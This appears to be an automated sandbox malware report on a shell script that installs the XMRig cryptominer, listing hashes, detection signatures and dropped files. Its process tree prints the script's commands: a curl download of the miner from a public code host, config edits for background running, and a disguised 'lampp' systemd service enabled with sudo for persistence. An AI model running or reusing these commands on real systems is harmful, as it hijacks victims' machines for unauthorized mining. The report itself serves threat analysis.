Analysis

  • max time kernel
    10s
  • max time network
    132s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240508-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    01-07-2024 11:56

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Reads EFI boot settings 3 IoCs

    Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1410
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1413
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1414
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1417
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1418
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:1459
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
                PID:1460
                • /usr/local/sbin/gzip
                  gzip -d
                  3⤵
                    PID:1461
                  • /usr/local/bin/gzip
                    gzip -d
                    3⤵
                      PID:1461
                    • /usr/sbin/gzip
                      gzip -d
                      3⤵
                        PID:1461
                      • /usr/bin/gzip
                        gzip -d
                        3⤵
                          PID:1461
                      • /usr/bin/rm
                        2⤵
                          PID:1462
                        • /usr/bin/sed
                          2⤵
                            PID:1463
                          • /root/lampp/xmrig
                            2⤵
                            • Executes dropped EXE
                            • Checks hardware identifiers (DMI)
                            • Reads hardware information
                            • Checks CPU configuration
                            • Reads CPU attributes
                            • Enumerates kernel/hardware configuration
                            • Reads runtime system information
                            PID:1464
                          • /usr/bin/sed
                            2⤵
                            • Reads runtime system information
                            PID:1469
                          • /usr/bin/cut
                            2⤵
                              PID:1468
                            • /usr/bin/hostname
                              2⤵
                                PID:1467
                              • /usr/bin/sed
                                2⤵
                                  PID:1470
                                • /usr/bin/sed
                                  2⤵
                                    PID:1471
                                  • /usr/bin/sed
                                    2⤵
                                      PID:1472
                                    • /usr/bin/sed
                                      2⤵
                                        PID:1473
                                      • /usr/bin/sed
                                        2⤵
                                        • Reads runtime system information
                                        PID:1474
                                      • /usr/bin/sed
                                        sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                        2⤵
                                          PID:1475
                                        • /usr/bin/sed
                                          sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                          2⤵
                                            PID:1476
                                          • /usr/bin/cp
                                            cp /root/lampp/config.json /root/lampp/config_background.json
                                            2⤵
                                              PID:1477
                                            • /usr/bin/sed
                                              sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                              2⤵
                                              • Reads runtime system information
                                              PID:1478
                                            • /usr/bin/cat
                                              cat
                                              2⤵
                                                PID:1479
                                              • /usr/bin/chmod
                                                chmod +x /root/lampp/miner.sh
                                                2⤵
                                                  PID:1480
                                                • /usr/bin/sudo
                                                  sudo -n true
                                                  2⤵
                                                  • Reads runtime system information
                                                  PID:1481
                                                  • /usr/bin/true
                                                    true
                                                    3⤵
                                                      PID:1483
                                                  • /usr/bin/awk
                                                    awk "{print \$2}"
                                                    2⤵
                                                      PID:1486
                                                    • /usr/bin/grep
                                                      grep MemTotal /proc/meminfo
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:1485
                                                    • /usr/bin/cat
                                                      cat
                                                      2⤵
                                                        PID:1487
                                                      • /usr/bin/sudo
                                                        sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:1488
                                                        • /usr/bin/mv
                                                          mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                          3⤵
                                                            PID:1489
                                                        • /usr/bin/sudo
                                                          sudo killall xmrig
                                                          2⤵
                                                          • Reads runtime system information
                                                          PID:1490
                                                          • /usr/bin/killall
                                                            killall xmrig
                                                            3⤵
                                                            • Reads runtime system information
                                                            PID:1491
                                                        • /usr/bin/sudo
                                                          sudo systemctl daemon-reload
                                                          2⤵
                                                          • Reads runtime system information
                                                          PID:1492
                                                          • /usr/bin/systemctl
                                                            systemctl daemon-reload
                                                            3⤵
                                                            • Reads EFI boot settings
                                                            • Enumerates kernel/hardware configuration
                                                            PID:1493
                                                        • /usr/bin/sudo
                                                          sudo systemctl enable lampp.service
                                                          2⤵
                                                            PID:1519
                                                            • /usr/bin/systemctl
                                                              systemctl enable lampp.service
                                                              3⤵
                                                              • Reads EFI boot settings
                                                              • Enumerates kernel/hardware configuration
                                                              • Reads runtime system information
                                                              PID:1532
                                                          • /usr/bin/sudo
                                                            sudo systemctl start lampp.service
                                                            2⤵
                                                              PID:1559
                                                              • /usr/bin/systemctl
                                                                systemctl start lampp.service
                                                                3⤵
                                                                • Reads EFI boot settings
                                                                • Enumerates kernel/hardware configuration
                                                                • Reads runtime system information
                                                                PID:1560

                                                          Network

                                                          MITRE ATT&CK Enterprise v15

                                                          Replay Monitor

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                                                          Downloads

                                                          • /root/lampp/config.json

                                                            Filesize

                                                            2KB

                                                            MD5

                                                            f3294129e6b76283965ad86a815bf383

                                                            SHA1

                                                            5fe0ab538f86962efe82cb13fc2da745610740af

                                                            SHA256

                                                            578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                            SHA512

                                                            07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                          • /root/lampp/sedHlfXNM

                                                            Filesize

                                                            2KB

                                                            MD5

                                                            8ca94a5fe5b69dd94f11cabc20f76d0b

                                                            SHA1

                                                            86588eedfa5a2c17cb66dd27d134a1798ed57a45

                                                            SHA256

                                                            ff996594dcdb7cf095e1c005b91c358b54e0c86a324757ecfd264cb3380486c8

                                                            SHA512

                                                            1fd77fd890dd20f255d8bf0ca9eca7295c290c015d49bf90eceeda61f265379cbe8df1db607717168da7df512c469de7f8ad7c53558159d0e48e86f7ef01b223

                                                          • /root/lampp/sedTc2xtI

                                                            Filesize

                                                            2KB

                                                            MD5

                                                            db656093508e71a13d7e65e06056ebc5

                                                            SHA1

                                                            64836d987b168bd574c249622e280b143719c59a

                                                            SHA256

                                                            73d855564b0e9c0a39591c2828cad0711395de3f28e9d12bab78884c104b4dfb

                                                            SHA512

                                                            9c8fb5c0a9e1ffa8046c0867358c484d8abbc9b458d58400d78eb2dc33ebb9092700c8cbe1b2f1f54713a640e41b7090d9471f1dc832db2db5b202377477ea33

                                                          • /root/lampp/sedcO2tCn

                                                            Filesize

                                                            2KB

                                                            MD5

                                                            d489ddbbb83271e967b8af615d17d3c7

                                                            SHA1

                                                            f0394a367a60e9727269882154098dec802774ef

                                                            SHA256

                                                            5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                            SHA512

                                                            aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                          • /root/lampp/sedfgzdHt

                                                            Filesize

                                                            2KB

                                                            MD5

                                                            85336ce1deca2256447c9b22f41e9bd0

                                                            SHA1

                                                            01a8e697e325850e958d01304f35834c17b65afc

                                                            SHA256

                                                            3163dd84de53fedc420834fcc57e73196639e011f5181c3d17e6d2849f5925e5

                                                            SHA512

                                                            271459ee02e562cf9566d9c20bfce8c105c8e6fd7e708805a8bc21f78155adbd808aa177e877cae5570eab7404eb00dac7e1e0e8683b183817e02b865586a8f3

                                                          • /root/lampp/sedoaXL3q

                                                            Filesize

                                                            2KB

                                                            MD5

                                                            8b11b027dd187104473ee7d661ffe25f

                                                            SHA1

                                                            ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                            SHA256

                                                            984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                            SHA512

                                                            1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                          • /root/lampp/sedocrFVV

                                                            Filesize

                                                            2KB

                                                            MD5

                                                            c893bb39a96dc34c4cf5997ea686cb40

                                                            SHA1

                                                            af4a6299ab653a7f02f132193af7872d992446b9

                                                            SHA256

                                                            6540ef19b12f77f4820f6bb9adfa98c41c90ef3d34d4a905c773f41353caf483

                                                            SHA512

                                                            4fad407b4c4f7019e79492e869bc78df9ef7ff9cd8157d8d50a13f7a9b51afb86b522f0ad5756a5704a5b0dcc96ca8948bddcdd22ce4dfa912464612bd53e94b

                                                          • /root/lampp/xmrig

                                                            Filesize

                                                            8.4MB

                                                            MD5

                                                            f28a68b3fd248976332c630d1cae59ee

                                                            SHA1

                                                            8a3b0626746351582f4fcbc7a08885812035f1f8

                                                            SHA256

                                                            9981f0d99e324001373f9a39f7f0e3a5c2832830b3538a46a935d016f4e773c8

                                                            SHA512

                                                            bd59b4e3b0727ebafd15ebc08523695375935a6bef0bca7f90b1f9ec270bbc277c085588eb71ada9f1ae341218d9de360dad1e7400e103df5895050047376a55

                                                          • /tmp/lampp.service

                                                            Filesize

                                                            177B

                                                            MD5

                                                            540c899b78585827e807a62f7345eaf5

                                                            SHA1

                                                            8bf3146889c6b15811f226bff9fbca24d184eff2

                                                            SHA256

                                                            b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                            SHA512

                                                            0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                          • /tmp/sh-thd.MTW5c0

                                                            Filesize

                                                            253B

                                                            MD5

                                                            f96a321a262287ceae164f23f232ed9c

                                                            SHA1

                                                            d1eeab41f244b42377afd7cc3de7428736162b24

                                                            SHA256

                                                            f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                            SHA512

                                                            75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                          • /tmp/xmrig.tar.gz

                                                            Filesize

                                                            3.4MB

                                                            MD5

                                                            e003a3ec8bdd61151a61cadf950502c4

                                                            SHA1

                                                            2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                            SHA256

                                                            80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                            SHA512

                                                            ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9